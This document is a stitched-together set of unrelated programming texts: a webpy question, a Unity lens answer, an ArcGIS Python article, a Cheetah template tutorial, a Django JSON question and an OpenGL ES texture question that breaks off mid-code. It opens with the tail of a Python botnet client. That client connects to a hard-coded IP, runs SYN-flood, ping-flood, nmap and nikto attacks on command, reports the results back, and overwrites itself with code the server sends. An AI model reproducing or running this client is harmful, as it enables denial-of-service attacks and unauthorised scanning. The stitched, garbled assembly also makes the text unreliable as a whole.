"response_handler": None
},
"NMAP": {
"request_args": 2,
"request_handler": self.handleAttackRequest,
"response_args": 2,
"response_handler": None
},
"PING": {
"request_args": 1,
"request_handler": self.handlePingRequest,
"response_args": 1,
"response_handler": None
},
"PINGFLOOD": {
"request_args": 3,
"request_handler": self.handleAttackRequest,
"response_args": 2,
"response_handler": None
},
"SYNFLOOD": {
"request_args": 3,
"request_handler": self.handleAttackRequest,
"response_args": 2,
"response_handler": None
},
"VERSION": {
"request_args": 0,
"request_handler": None,
"response_args": 1,
"response_handler": self.handleVersionResponse,
},
}
pass
def connectionMade(self):
self.sendLine(self.pass1)
self.sendLine(self.pass2)
def lineReceived(self, line):
print line
words = line.split()
if self.state == "INIT" and line == "OK":
print line
self.sendLine("VERSION?")
self.state = "COMMAND"
return
elif self.state == "INIT":
return
if len(words) <= 0:
print ("Unknown command")
return
matches = re.search(r"^(.+)([?!])$", words[0])
if not matches:
print ("Unknown command")
return
command = matches.group(1)
if matches.group(2) == '?':
command_type = 'REQUEST'
else:
command_type = 'RESPONSE'
if not self.commands.has_key(command):
print ("Unknown command")
return
if command_type == 'REQUEST':
request_args = self.commands[command]['request_args']
request_handler = self.commands[command]['request_handler']
if len(words) - 1 != request_args:
print ("Unknown command")
return
if request_handler:
request_handler(command, *words[1:])
else:
response_args = self.commands[command]['response_args']
response_handler = self.commands[command]['response_handler']
if len(words) - 1 != response_args:
print ("Unknown command")
return
if response_handler:
response_handler(command, *words[1:])
print command, command_type
def attack(self, ident, command, arg1, arg2, attack):
result = subprocess.check_output([command, arg1, str(arg2)])
self.sendLine("{0}! {1} {2}".format(attack, ident, b64encode(result)))
def handleAttackRequest(self, command, ident, ip, duration=0):
if not re.match("^[0-9]+$", ident) or not re.match("^[0-9.]+$", ip) or \
(duration and not re.match("^[0-9]+$", duration)):
print ("Unknown command")
return
if command == "NIKTO":
reactor.callInThread(self.attack, ident, "./nikto.sh", ip, 0, command)
elif command == "NMAP":
reactor.callInThread(self.attack, ident, "./nmap.sh", ip, 0, command)
elif command == "SYNFLOOD":
reactor.callInThread(self.attack, ident, "./synflood.sh", ip, duration,
command)
elif command == "PINGFLOOD":
reactor.callInThread(self.attack, ident, "./pingflood.sh", ip, duration,
command)
else:
print ("Unknown command")
return
def handleDownloadResponse(self, command, version, data):
f = open("client.py", "w")
f.write(b64decode(data))
f.close()
reactor.stop()
def handlePingRequest(self, command, ident):
self.sendLine("PING! {0}".format(ident))
def handleVersionResponse(self, command, version):
if float(version) > self.version:
self.sendLine("DOWNLOAD? {0}".format(str(float(version))))
class ZeroNetClientProtocolFactory(ReconnectingClientFactory):
def __init__(self, pass1, pass2):
self.pass1 = pass1
self.pass2 = pass2
def buildProtocol(self, addr):
return ZeroNetClientProtocol(self.pass1, self.pass2)
import sys
if len(sys.argv) != 3:
print "Usage: client.py <primary password> <secondary password>"
sys.exit(1)
pass1 = sys.argv[1]
pass2 = sys.argv[2]
reactor.connectTCP("82.94.242.254", 8123, ZeroNetClientProtocolFactory(pass1, pass2))
reactor.run()
|
I am using webpy framework for my project. I want to pass a file from my webpy program and display it on html page as it is(files may be any text files/program files). I passed a text file using following function from my webpy program.
class display_files:
def GET(self):
wp=web.input()
file_name=wp.name
repo_name=wp.repo
repo_path=os.path.join('repos',repo_name)
file_path=os.path.join(repo_path,file_name)
fp=open(file_path,'rU') #reading file from file path
text=fp.read() #no problem found till this line.
fp.close()
return render.file_display(text) #calling file_display.html
When I tried to display the file (here it is 'text') from 'file_display.html', it displays continuously without recognising newline.Here is my html file.
$def with(content)
<html>
<head>
<meta http-equiv="Content-Type" content="text/string;charset=utf-8" >
<title>File content</title>
</head>
<body>
<form name="file_content" id="file_content" methode="GET">
<p> $content</p>
</form>
</body>
<html>
How can I display file as it is in html page.
|
I'd like to create a custom scope that searches and returns results from an online source for personal use.
Is this possible? And if so, how?
Yes it is absolutely possible and really easy to create new scopes. The Ubuntu App Developer site has lots of content to get you started writing scopes:
For development in python:
Unity lens development with singlet has been integrated into quickly:
quickly create unity-lens <lens-name>
A simple hello world lens would look like this:
#! /usr/bin/python
from singlet.lens import SingleScopeLens, IconViewCategory
from singlet.utils import run_lens
class HelloWorldLens(SingleScopeLens):
class Meta:
name = 'helloworld'
cat1 = IconViewCategory("Cat One", "stock_yet")
def search(self, phrase, results):
results.append('http://google.com/search?q=%s' % phrase,
'file',
self.cat1,
"text/html",
phrase, phrase, '')
if __name__ == "__main__":
import sys
run_lens(HelloLens, sys.argv)
Which is a lot simpler and faster to write than the original library versions.
The Ubuntu Wiki has a tutorial on how to write a Lens that uses Vala. Saravanan Thirumuruganathan wrote one for Python. The Unity Sample Place has some simple example lenses written in python and Vala.
As far as I know it's not (yet?) possible to write lenses in PHP.
There are a bunch of tutorials in the Ubuntu Lens wiki. The easiest I think is one I found on a blog here.
|
With input from client experts and industry partners, Integrated Informatics Inc. developed the Geodetics Toolkit, a commercial product. With this toolkit, their users can load, analyze, map, audit, and generate reports for seismic and well surveys. The tools in the toolbox take text and binary data formatted according to both custom and industry standards (i.e. UKOOA, SEG-Y, SEGP1, and so on) and load it into a schema of feature classes and tables.
Below, Integrated Informatics Inc. discusses reasons for choosing Python as the language for developing and delivering their commercial product. They discuss how Python is used to their advantage in the software development environment and show examples of how Python is much more than just a scripting language. Finally, they discuss the use of open source libraries in their product.
Swimming in a Sea of Surveys
Seismic and Well survey data are integral parts of any oil and gas company's database and are used in a variety of manners such as visualization, resource discovery, and inventory. The oil and gas industry has a long and rich history of computer utilization and digital data storage and over this history many different standards for survey storage have arisen and companies have chosen the standard that suits them best or even developed their own. The result is a proliferation of survey files that appear similar but are often different in very subtle ways.
Since survey information has existed for a long time it is not surprising that there are many tools available for processing the data. The problem is that such tools are not typically a part of a larger software solution. They are built for viewing and doing some processing but they often do not work well with the rest of the enterprise database. This is not ideal as the full benefit of these data can only be realized when they are overlaid, integrated, and analyzed together. Given that most oil and gas companies employ the ESRI stack as their main GIS software it is compelling to introduce capabilities for loading well and seismic from a variety of formats directly into ArcGIS.
Development in a Corporate Environment - Why Python?
For the development of the Geodetics Tools we had the option of using an ArcObjects-based approach but we choose Python for two primary reasons: 1) Speed of Development and 2) Ease of Deployment.
Speed of Development
Python and the Geoprocessing Framework are tightly integrated and Python is the recommended language for implementing script tools. Choosing Python means that as a developer you can spend your time coding functionality rather than coding a user interface. This in turn means you can deliver products to your clients faster than you might otherwise expect because core parts of the project (the user interface) are already taken care of. For example, when you create a tool through the geoprocessing framework you get a tool that looks and acts like the core tools delivered with ArcGIS. This means default validation, user interface controls and a documentation style that allows your custom tools to blend in seamlessly with other parts of the application like Model Builder.
It is worth noting that development time for the budding programmer is also decreased due to the nature of Python itself. Guido van Rossum, the author of Python, created the language to be easy and intuitive, open source, understandable as plain English and suitable to everyday tasks. To you, the GIS Analyst turned developer or dabbler, this means that Python is easy to learn and easy to read. You'll spend less time learning and more time creating solutions and improving workflow.
The Geodetics Toolbox currently contains over 40 tools. An enormous amount of time was saved because we didn't have to program UI's for each of the tools. The time saved allowed us to invest heavily into testing the tools, building a test harness, improving performance, and introducing innovations and new functionality.
Ease of Deployment
One of the beautiful things about a Python solution is the ease of deployment. There are no dlls to register, no complicated installations to run and no COM dependencies to worry about. With the Geodetics Toolbox, we are able to simply zip the solution in our office and unzip it in an accessible location on the client's network. With the code in place, the client need only to add the toolbox to ArcGIS Desktop and they have access to the functionality.
In many large corporations the software installation is the dominion of the IT department and pushing out software to the employees of the company is their job and often their headache. As a solution provider the easier you can make installation the more appreciative IT will be and the quicker your clients can access new functionality. For Integrated Informatics, the use of Python means that we are ensuring both the easiest possible installation process and the quickest possible request turnaround time for our clients and that translates into happy clients.
Development in a Corporate Environment - Automated Testing
The Python code for the Geodetics Toolbox contains well over 5000 lines of code (not including open source packages). As with all commercial products our customers send us enhancement requests on a regular basis and which we try to fulfill as quickly as possible. Requests range from new parameters to whole new toolsets. It is therefore important for us to know when changes impact existing functionality and whether any changes have caused tools to fail. With over 40 tools, each of which have up to dozens of parameters it is simply not effective to manually test each tool by hand. To achieve the desired turn-around times on requests at the expected level of quality, automated testing is an absolute must.
Python is, as they say, "batteries included" so for testing we only needed to look at Python itself for at least part of the solution. Python has an excellent standard module called unittest which is a part of the core Python install. For each tool we have a separate test script to test the many different permutations of parameters and data inputs. With individual test suites for each tool we can be very precise about what we are testing and efficient with time during the business day.
Test suites for each tool are a good step but it is critical that these test scripts be run in an automated fashion on a regular basis, not just when you remember to run them. In vogue of late is the notion of 'continuous integration', the concept that after each change checked in to the code base a trigger initiates all the tests in the test suite. This can be an excellent option for certain types of code base and certain types of tests, however, for tools that do heavy processing such high frequency testing is not always practical. More important is the idea that the test be triggered on a regular basis. This can be nightly, weekly or even monthly depending on the frequency with which the code base is updated. With an automated run of your test suite you always have a finger on the pulse of your code so that if and when a bug is introduced to the code base you can know quickly that there is a problem and correct it.
Code Re-Use: Classes in Python
One of the basic tenets in programming is to avoid code duplication. There are a couple ways that you can avoid code duplication and make your code base more efficient and effective. First you can use functions to contain pieces of code that you use over and over again. Functions can do a lot and are the first step on the way to reducing code duplication. For large code bases, functions are limited in what they can do (though they do have their place), and in many cases it is appropriate to start creating classes.
Though Python is thought of as a scripting language in the context of esri's software (for example note the use of 'scripting' in the name 'arcgisscripting'), it is actually a fully Object Oriented (OO) programming language. As such, programmers have the ability to create classes and full class hierarchies using inheritance. In large code bases, well written OO style code can help conceptually abstract complex ideas, reduce code duplication and isolate code into small concise chunks making it easier to change, manage, and test.
The very simple example below is intended to be a gentle introduction to Python classes and a small class hierarchy.
from os.path import basename class AbstractReport(object): """ Base parsing class """ _table_fields = None def __init__(self, file_path, records): """ initializes the class """ self._file_path = file_path self._records = records def calc_coords(self): """ calculates coordinates to be written to report table """ raise NotImplementedError def write_table(self): """ parses the records in the file """ coords = self.calc_coords() print ('writes a table using fields %s ' '\nand calculated coords %s to file %s' % (self._table_fields, coords, basename(self._file_path))) class OrthoCheckReport(AbstractReport): """ Orthongonal Check Report Class """ _table_fields = ['FLD_A', 'FLD_B', 'FLD_C'] def calc_coords(self): """ calculates coordinates to be written to report table """ print ('special Orthogonal Check report calculations using records %s' % self._records) return ['ortho', 'check', 'results'] class QAQCReport(AbstractReport): """ QAQC Report class """ _table_fields = ['FLD_X', 'FLD_Y', 'FLD_Z'] def calc_coords(self): """ calculates coordinates to be written to report table """ print ('special QAQC report calculations using records %s' % self._records) return ['qaqc', 'report', 'results'] if __name__ == '__main__': input_file = r'c:\test\seismic_file.txt' records = ['reca', 'recb', 'recc'] ocr = OrthoCheckReport(input_file, records) qqr = QAQCReport(input_file, records) ocr.write_table() qqr.write_table()
When run, this code prints:
special Orthogonal Check report calculations using records ['reca', 'recb', 'recc']writes a table using fields ['FLD_A', 'FLD_B', 'FLD_C']and calculated coords ['ortho', 'check', 'results'] to file seismic_file.txtspecial QAQC report calculations using records ['reca', 'recb', 'recc']writes a table using fields ['FLD_X', 'FLD_Y', 'FLD_Z']and calculated coords ['qaqc', 'report', 'results'] to file seismic_file.txt
In the hierarchy above the code for the write_table method is only present in one of the classes (the AbstractReport class) but instances of the other classes ( OrthoCheckReport or QAQCReport) can still call that method. This is because both OrthoCheckReport and QAQCReport are "subclasses" of the AbtractReport "base class" and "inherit". A subclass that inherits from a base class has access to all the methods and properties of the base class. This means that regardless of what class is created above, calls to write_report will go through the same method.
The calc_coords method demonstrates what happens when code needs to be different in the subclasses from the base class. Each of the subclasses has a different way of calculating the coordinates for the table and therefore has unique code. To ensure this, the subclasses 'overload' the calc_coords method from the base class. As demonstrated above, 'overloading' in Python is as simple as just adding a method with the same name to your subclasses. This means that even though the write_table method has the exact same code for all of the classes, when it calls calc_coords it will follow a unique path through the subclasses. By doing this, unnecessary logic (like extra "if" statements) are eliminated from the code making it more streamlined and much easier to read.
To make a class inherit from another class simply include the name of the desired base class in the class declaration:
class OrthoCheckReport(AbstractReport):
When you do this make sure that the initialization (__init__) of the subclass is the same as the initialization of the base class. If it is different you will need to write an __init__ for the subclasses as well. Check the documentation and help for examples.
Use and Delivery of Open Source Packages
Why Open Source?
Python has become one of the most popular open source programming languages. As such, the users of Python have created literally thousands of open source packages, many of which are directly applicable to the kind of things you want to do in your applications. In the Geodetics Toolbox we use many open source packages to achieve our client's goals.
As an example, consider a common client's requests: create a pdf report from analysis performed in ArcGIS. As it turns out there is an easy-to-use cross platform open source package available called the ReportLab Toolkit which has the ability to create pdf documents. This package contains comprehensive and robust pdf manipulation capabilities as well as excellent documentation and a tutorial to help people get started. Using this package we were able to write reports and data to pdf documents with relative ease in a very short total development time. So next time you get a request, ask yourself the question "has someone else already done this" and search the internet before diving directly into development.
The All Important License
When you find a package that does exactly what you need the first thing to do is to read the license. Open Source licenses come in a variety of different forms and many are written to prevent software from being "closed source". It is extremely important to read the license very closely and make sure that you are using the package correctly. In the case of the ReportLab Toolkit, the license is a form of the Berkeley Software Distribution license (commonly referred to as the "BSD" license). This license is very permissive and allows the software to be used and distributed in other proprietary software given a few minor conditions. Other licenses are not nearly as permissive and are designed to ensure that software which uses other open source software is open source as well (for example the GPL). Take the time to familiarize yourself with the most common licenses so you know what and how you can use open source packages.
A useful table of licenses can be found here: http://en.wikipedia.org/wiki/Comparison_of_free_software_licenses. Another very useful site is www.opensource.org which contains information on all open source licenses.
Delivering Open Source Packages
For the Geodetics Toolbox we incorporated the ReportLab Toolkit as a subpackage to our package which means we actually delivered the code with our code. While it may seem simple to reference open source packages in your code, it is important that you actually incorporate the package. This allows you to control the version of the package being used and ensures that the package is available on the clients machine. Requesting that the client install the package themselves is a hassle to the client and should be avoided. Again, when you deliver an open source package with your code it is imperative that you read the license and fulfill the obligations in that license.
Conclusion
To deliver the functionality in the Geodetics Toolbox, we chose Python for its development language. Python and the Geoprocessing Framework enabled us to deliver the functionality quickly and have it look and feel exactly like the rest of the ArcGIS product. Using modules that are part of any Python install we created a suite of unittests to ensure the quality of our product over many code deliveries and new functionality requests. We leveraged Python's capabilities as an Object Oriented programming language to reduce code duplication in our code base making the code easier to maintain. Finally, because Python has such a large open source community we were able to find open source package that shortened our development time and helped us meet client needs.
About Integrated Informatics
Integrated Informatics Inc. is a leading consultancy for Geographic Information System implementation and development. Founded in 2002, Integrated provides spatial data management and automated mapping solutions to clients throughout North America with offices in Calgary, Alberta, St. John's, Newfoundland and Houston, Texas.
Integrated has longstanding relationships with its clients who comprise the major and super-major independent and integrated Energy companies, Provincial and State Governments, and Engineering and Environmental consultancies. We have a proven track record of developing and implementing strategies, systems, and technologies that support business goals and deliver corporate value.
Our strength is from our people. Our team is comprised of experienced professionals in the fields of Geographic Information Systems, Spatial Data Management, Project Data Management, Application Development and discipline specific experts. We have experts on staff in the disciplines of pipeline engineering, environmental and geoscience analysis. Our work environment promotes ideas, innovation, and implementation through professional development, continued training, industry involvement, and internally funded research and development.
Integrated is a Silver Tier International Esri business partner, an active participant in the beta program for holistic testing for Esri and sits on the advisory board for the GIS Program at the Southern Alberta Institute of Technology (SAIT). Visit us at www.integrated-informatics.com or contact us at gis@integrated-informatics.com for more information about our unique solutions.
|
Python-Powered Templates with Cheetah
by Andrew Glover
01/13/2005
XML transformation via XSL Transformations (XSLT) is quite popular and indeed powerful. Well-constructed XSL can produce HTML, PDF, XML, and just about any other text format imaginable. XSLT, however, requires that the subject data be a well-structured XML document, which often is not the case. Consequently, developers often transform native data structures (that is, business objects) into XML so as to use XSLT. This process, unfortunately, can increase code complexity and development time for a problem that has an easier solution: a template engine.
Template engines facilitate the construction of various formatted documents by allowing a static template to contain placeholders for dynamic output. Hence, there is no temporary format such as XML.
If the desired output is an HTML document, a template engine will operate on an HTML template that contains placeholders for values substituted at runtime. Using a template engine's transformation process is as simple as reading the template and providing a mapping of runtime values. The output of the transformation is the native format of the template--in this case, an HTML document. Similar to XSLT, template engines can produce any format possible, such as XML, HTML, and SQL; additionally, one can even use template engines as code generators. Template engines additionally facilitate the Model View Controller architecture by embodying the view component in templates.
Introducing Cheetah
Cheetah is an extremely effective Python-powered template engine that can generate any text-based format. Cheetah's impressive yet simple template language (based on Python) can yield the most complex of documents; moreover, Cheetah's object-oriented representation of documents creates plenty of opportunities for the reuse of code. Cheetah also possesses an impressive caching mechanism that fits a variety of performance scenarios.
Cheetah is surprisingly simple to use, as it essentially has two language constructs: placeholders and directives. Placeholders are values to substitute at runtime, and directives in effect are commands to execute at runtime. Placeholders are signified by $ signs and directives by # signs.
Is It Really That Easy?
With placeholders and directives in mind, the code below demonstrates a simple Cheetah template for generating PyUnit test cases.
1 import unittest
2
3 class ${classundertest}_test(unittest.TestCase):
4 def setUp(self):
5 pass
6 def tearDown(self):
7 pass
8 #for $testcase in $testcases
9 def test${testcase}(self):
10 pass
11 #end for
Cheetah will substitute the placeholder $clssundertst at runtime to create a string, such as query_test, that will form the test case's class name. Additionally, notice the directive, which in this case is a for loop, which iterates over a collection of testcases to create a series of class methods with names starting with test.
More on $Placeholders
To make ambiguous placeholders less ambiguous, you can surround them with {s, (s, [s, or nothing at all. Placeholders, furthermore, can be complex objects, which Cheetah can navigate quite easily through autocalling.
1 <person>
2 <firstname>$fname</firstname>
3 <middleinitial>$(mi)</middleinitial>
4 <lastname>${lname}</lastname>
5 <dateofbirth>$p.dob</dateofbirth>
6 </person>
As demonstrated in the above example, Cheetah is quite flexible when it comes to syntax. Notice that p.dob actually calls the dob attribute of the p object. Autocalling is quite flexible; you can use dictionaries as well as lists. Here's an example of autocalling with a dictionary:
1 <person> 2 <firstname>$dict.fname</firstname> 3 <middleinitial>$dict['mi']</middleinitial> 4 <lastname>$dict.lname</lastname> 5 <dateofbirth>$dict.dob</dateofbirth> 6 </person>
In the code above, $dict is a dictionary object defined something like this:
1 mp = {"fname":"Emily", "mi":"M", \
2 "lname":"Smith", "dob":"04/21/74"}
3 inputmap = {"dict":mp}
The $dict placeholder maps to a dictionary, mp, which contains the keys accessed in the previous code.
Directives
Directives are constructs that control the flow of template logic. With directives, templates can contain if/else logic blocks as well as looping constructs. What's more, it's possible to define Python functions through directives and call them throughout a template.
Using conditional logic is straightforward, as the syntax is Python.
1 #if $status == 'rejected'
2 <b>Don't call us, we'll call you</b>
3 #elif $status == 'passed'
4 We'll be calling you soon.
5 #end if
Looping constructs, like the for loop, are just as simple.
1 #for $person in $people
2 <TR>
3 <TD>$person.name</TD>
5 <TD>$person.weight</TD>
6 <TD>$person.height</TD>
7 </TR>
8 #end for
In the above example, a list named people contains a collection of objects having attributes of name, weight, and height.
If you need repetition, use the repeat directive:
1 <p> 2 Remember, your proposal was: <br/> 3 #repeat $times 4 $status <br/> 5 #end repeat 6 </p>
Notice how the #repeat directive takes a placeholder, in this case $times, which represents the number of times to repeat the text in the directive's body.
Occasionally, templates may need additional logic defined in a function. Strict Model-View-Controller design tries to avoid putting too much logic in a view, but you can define functions in templates and call them throughout the template at runtime.
The following example defines a function named caps switches the case of the passed-in parameter. Line 8 shows how to reference the directive and pass in placeholders.
1 #def caps($var)
2 $var.swapcase() #slurp
3 #end def
4
5 <html>
6 <body>
7 <p>
8 Your proposal was <b> $caps($status) </b>
9 </p>
The #slurp declaration in the code above consumes the newline so the resulting output is:
1 <html> 2 <body> 3 <p> 4 Your proposal was <b> REJECTED </b> 5 </p>
Caching
As mentioned earlier, Cheetah possesses a powerful caching mechanism for use in templates. As with everything else found in Cheetah, putting it to work is easy.
In performance-intensive scenarios, caching placeholders can increase a template's rendering speed. To cache a placeholder indefinitely (or as long as the template resides in memory), use the * syntax.
1 <p>
2 Submissions will be accepted
3 for $*days calendar days so please keep
4 trying until then.
5 </p>
In the above example, Cheetah caches the days placeholder as long as the template resides in memory.
If a template has more sophisticated caching requirements, you can cache placeholders for time intervals or even cache entire template regions. To cache for a specific time limit, add the desired value in terms of seconds, minutes, hours, days, or weeks.
1 <p>
2 After that, our $*4d*judges judges will
3 annouce the winners!
4 </p>
The above example caches the placeholder, judges, for four days. For seconds, use an s, minutes an m, hours an h, and weeks a w.
Caching an entire region is as simple as wrapping the region with a #cache directive.
1 #cache 2 <p> 3 Thanks again, <br/> 4 $staff 5 </p> 6 #end cache
Incidentally, you can also fine-tune the #cache directive with time intervals. See the Cheetah documentation for more details.
Using Templates
There are a few different ways to use templates. One of the easiest is to define the template in a file (commonly ending with a .tmpl suffix). To use it, read the template at runtime and supply it with a list of placeholder values. The list of placeholder values is a simple map, where the key should match the actual placeholder name. See the code below for an example.
1 tcs = ['runquery', 'executequery', 'deletequery']
2 mp = {"classundertest":"query_runner", "testcases":tcs}
3
4 from Cheetah.Template import Template
5 t = Template(file="default_pyunit.tmpl", searchList=[mp])
As demonstrated above, Cheetah performs placeholder mappings at template instantiation; hence, you create a template and retrieve its associated output in two lines of code (lines 4 and 5). Notice the map defined in line 2 contains keys, which presumably match placeholders found in the template, default_pyunit.tmpl, as shown in the code from the first example.
Cheetah treats templates as objects; moreover, these template objects are quite flexible and offer a few other usage strategies. To use templates as objects (accessing attributes, functions, and so on), you must compile them with Cheetah's compile command. For more information regarding compiling Cheetah templates, see the sidebar below.
A compiled template's placeholders become attributes, which can be set at runtime. Directives become executable Python code. As shown below, using a compiled template is as simple as importing it and setting the object's associated attributes.
1 from default_pyunit import default_pyunit
2
3 tmpl = default_pyunit()
4 tmpl.classundertest = "query_runner"
5 tmpl.testcases = ['runquery', 'executequery']
6
7 print tmpl
Putting It All Together
Armed with a basic knowledge of how to tap Cheetah's power, you can quickly build dynamic applications and have a good time of it! Imagine a scenario where a development team, using a bug-tracking system (such as Bugzilla), would like a weekly email report (in HTML, of course) that summarized all new bugs. The desired viewable information for a bug is the bug's ID number, the project containing the bug, the developer to whom the bug has been assigned, and a short description of the bug.
The template for this reporting application, as it turns out, is quite easy. Given a list of bug objects, a for loop directive will iterate over the list, creating a row in an HTML table with the corresponding ID, project name, owner, and description. In addition, some logic will determine whether the collection is empty so as to display an alternate message (perhaps congratulating the team for not creating any bugs for the week!).
With the view (the template) and the model (a bug object) defined, the controller becomes quite simple. First, query the bug database, then fill the template, and finally send the corresponding HTML email report via SMTP.
1 def runreport():
2 """
3 main method to run the report
4 """
5
6 import com.vanward.roach.template.template_engine as teng
7 import com.vanward.roach.email.email_engine as eeng
8
9 buglist = _getbuglist(7)
10 bmap = {"bugs":buglist, "numbugs":len(buglist), "numdays":7}
11 message = teng.getcontent(bmap)
12
13 email = _getemail(message)
14
15 eeng.sendemail(email)
In the code above, the runreport() function does a few things. Line 9 retrieves a list of bugs from the _getbuglist() function, which queries a database for bugs by time. Line 10 places the returned list of bugs in a map, along with the number of bugs, the length of buglist, and the number of days on which the query performed a search. Line 11 retrieves the content of the report from the teng object (see below) and then passes it to an email engine, which sends the resulting report.
1 def getcontent(mapvls):
2 from Cheetah.Template import Template
3 t = Template(file=_templatename(), searchList=[mapvls])
4 return t.respond()
5
6 def _templatename():
7 import com.vanward.roach.util.properties as prop
8 tmpl = prop.templateproperties
9 return tmpl["tmpl"]
The above code demonstrates a simple template engine that, when given a map of values, will instantiate a template and return the resulting body. Lines 6 through 9 define a function that returns the template's fully qualified name, such as $/var/tmp/bug_report.tmpl.
1 #include "header.txt"
2 <span>Bugzilla Weekly Summary</span>
3 #if $numbugs > 0
4 <p>Over the past $numdays days, the following bugs were created.
5 Click on the bug id to view the actual bugzilla bug report page.</p>
6 <br/>
7 <table border="0" width="400" valign="top">
8 <TR>
9 <TD>Bug Id</TD>
10 <TD>Project</TD>
11 <TD>Assigned To</TD>
12 <TD>Short Description</TD>
13 </TR>
14 #for $bug in $bugs
15 <TR>
16 <TD><A HREF="http://acme.org/show_bug.cgi?id=$bug.id">$bug.id</A></TD>
17 <TD>$bug.product</TD>
18 <TD>$bug.assignedto</TD>
19 <TD>$bug.shortdescrpt</TD>
20 </TR>
21 #end for
22 </table>
23 #else
24 <p>No bugs were created in bugzilla this week. </p>
25 #end if
26 #include "footer.txt"
The code above shows the resulting HTML bug report template. Line 1 and 26 demonstrate the #include directive, which as you have probably guessed by now includes text from outside a template. In this case, the report includes header and footer files, each containing a bit of static HTML. Line 3 demonstrates a simple #if directive, which will print some summary information if there are any bugs. The trailing #else and #end if are found on lines 23 and 25, respectively. Lines 14 through 21 use a #for directive to iterate over a list of bugs, creating an HTML table row for each one. Figure 1 shows the results of the Cheetah bug-reporting application.
Figure 1. Output of the bug-reporting application.
Cheetah offers the ability to compile template files into Python modules containing a class representing the template. These classes are easy to extend or agument. To compile a template, run the
This yields a Python module with the same name as the template (in this case called
class default_pyunit(Template)
The class extends Cheetah's Template class, which is the default base class for all templates.
Conclusion
The Cheetah template engine's simple language constructs and ease of use make data transformations a snap in terms of development time and complexity. What's more, Cheetah does not prevent architectures from using an MVC pattern, and Cheetah's built-in caching mechanism and object-oriented representation of templates yield an impressive alternative to XML transformations.
The next time you have the task of building an application with a "view," consider putting Cheetah to the test.
Resources
Cheetah's home
Cheetah User Guide
Velocity--a Java alternative
FreeMarker--another Java alternative
Bugzilla's home
Return to the Python DevCenter.
|
I've got an interesting problem with JSON and Django. I think I've narrowed it down to this problem. The problem is that I have a JSON object something like this:
{"embed": "<iframe width='640' height='360' src='http://www.youtube.com/embed/Sw5Gk1L4LQE?wmode=opaque' frameborder='0' allowfullscreen></iframe>"}
In PDB if I print out this as a simplejson.dumps I get this (notice the double quotes):
{"embed": "<iframe width=\\"640\\" height=\\"360\\" src=\\"http://www.youtube.com/embed/Sw5Gk1L4LQE?wmode=opaque\\" frameborder=\\"0\\" allowfullscreen></iframe>"}
The actual HttpResponse object has removed one slash from every set of double escapes like this.
return HttpResponse(simplejson.dumps(result), 'application/json'
{"embed": "<iframe width=\"640\" height=\"360\" src=\"http://www.youtube.com/embed/Sw5Gk1L4LQE?wmode=opaque\" frameborder=\"0\" allowfullscreen></iframe>"}
On the client I am using jQuery's parseJSON and I am having problems with the one that has single escaped characters (3rd one) as it doesn't see them as escaped. But it is actual valid JSON where as the 2nd one works when I try parseJSON on it directly in the console but it is not in fact valid JSON (according to JSONLint.com).
Any ideas of what I can do to get this JSON object from Django to the client and have the embed code intact? I'm hoping that is a small oversite on my part.
|
I've been trying to get into OpenGL ES world and everything have been fine(following book "OpenGL ES 2.0 Programming Guide" which is great!) until now. I've tried adding textures to primitive I've drawn, which I succeed in using previous versions of OpenGL ES and with WebGL.
I can perfectly draw texture if I place the "texture" inside Java code like this:
pixelBuffer.put(new byte[]{
0, 0, Byte.MAX_VALUE,
0, Byte.MAX_VALUE, 0,
Byte.MAX_VALUE, 0, 0,
0, 0, 0, 0});
but whenever I try to load the texture from external file, it just appears as black. Below is code I am using to load the texture and use it.
My Activity:
glSurface = new GLSurfaceView(this);
glSurface.setEGLContextClientVersion(2);
glSurface.setDebugFlags(GLSurfaceView.DEBUG_LOG_GL_CALLS | GLSurfaceView.DEBUG_CHECK_GL_ERROR);
this.setContentView(glSurface);
glSurface.setRenderer(new TriangleRenderer(this));
ShaderLoader:
public static int loadShader(int shaderType, String shaderSource) {
int shaderHandle = glCreateShader(shaderType);
glShaderSource(shaderHandle, shaderSource);
glCompileShader(shaderHandle);
int[] buffer = new int[1];
glGetShaderiv(shaderHandle, GLES20.GL_COMPILE_STATUS, buffer, 0);
if(buffer[0] == GLES20.GL_FALSE) {
Log.e("ShaderHelper", glGetShaderInfoLog(shaderHandle));
glDeleteShader(shaderHandle);
return -1;
}
return shaderHandle;
}
public static int loadProgram(String vertexShader, String fragmentShader) {
int programHandle = glCreateProgram();
glAttachShader(programHandle, loadShader(GL_VERTEX_SHADER, vertexShader));
glAttachShader(programHandle, loadShader(GL_FRAGMENT_SHADER, fragmentShader));
glLinkProgram(programHandle);
int[] buffer = new int[1];
glGetProgramiv(programHandle, GL_LINK_STATUS, buffer, 0);
if(buffer[0] == GL_FALSE) {
Log.e("ShaderHelper", glGetProgramInfoLog(programHandle));
glDeleteProgram(programHandle);
return -1;
}
return programHandle;
}
TextReader:
public static String readResource(Resources resources, int id) {
StringBuilder content = new StringBuilder(128);
BufferedReader br = new BufferedReader(new InputStreamReader(resources.openRawResource(id)));
String line = null;
try {
while((line = br.readLine()) != null) {
content.append(line);
}
} catch (IOException e) {
e.printStackTrace();
}
Log.v("Readed text:", content.toString());
return content.toString();
}
Renderer:
private int shaderProgram;
private int vertexBufferPointer;
private int colorBufferPointer;
private int textureBufferPointer;
private Context context;
private float[] vertices = {-1.0f, -1.0f, 0.0f,
-1.0f, 1.0f, 0.0f,
1.0f, -1.0f, 0.0f,
1.0f, 1.0f, 0.0f};
private float[] colors = {
1.0f, 0.0f, 0.0f,
0.0f, 1.0f, 0.0f,
0.0f, 0.0f, 1.0f,
1.0f, 1.0f, 0.0f
};
private float[] textureVertices = {
0.0f, 0.0f,
0.0f, 1.0f,
1.0f, 0.0f,
1.0f, 1.0f
};
private int aVerPos, aTexPos, aVerCol;
private int uSamp;
private int texture;
private Bitmap textureBitmap;
public TriangleRenderer(Context context) {
this.context = context;
}
@Override
public void onDrawFrame(GL10 gl) {
glClear(GL_COLOR_BUFFER_BIT);
glActiveTexture(GL_TEXTURE0);
glBindTexture(GL_TEXTURE_2D, texture);
glUniform1i(uSamp, 0);
glBindBuffer(GL_ARRAY_BUFFER, vertexBufferPointer);
glVertexAttribPointer(aVerPos, 3, GL_FLOAT, false, 0, 0);
glBindBuffer(GL_ARRAY_BUFFER, colorBufferPointer);
glVertexAttribPointer(aVerCol, 3, GL_FLOAT, false, 0, 0);
glBindBuffer(GL_ARRAY_BUFFER, textureBufferPointer);
glVertexAttribPointer(aTexPos, 2, GL_FLOAT, false, 0, 0);
glDrawArrays(GL_TRIANGLE_STRIP, 0, 4);
checkGLError("test");
}
@Override
public void onSurfaceChanged(GL10 gl, int width, int height) {
glViewport(0, 0, width, height);
}
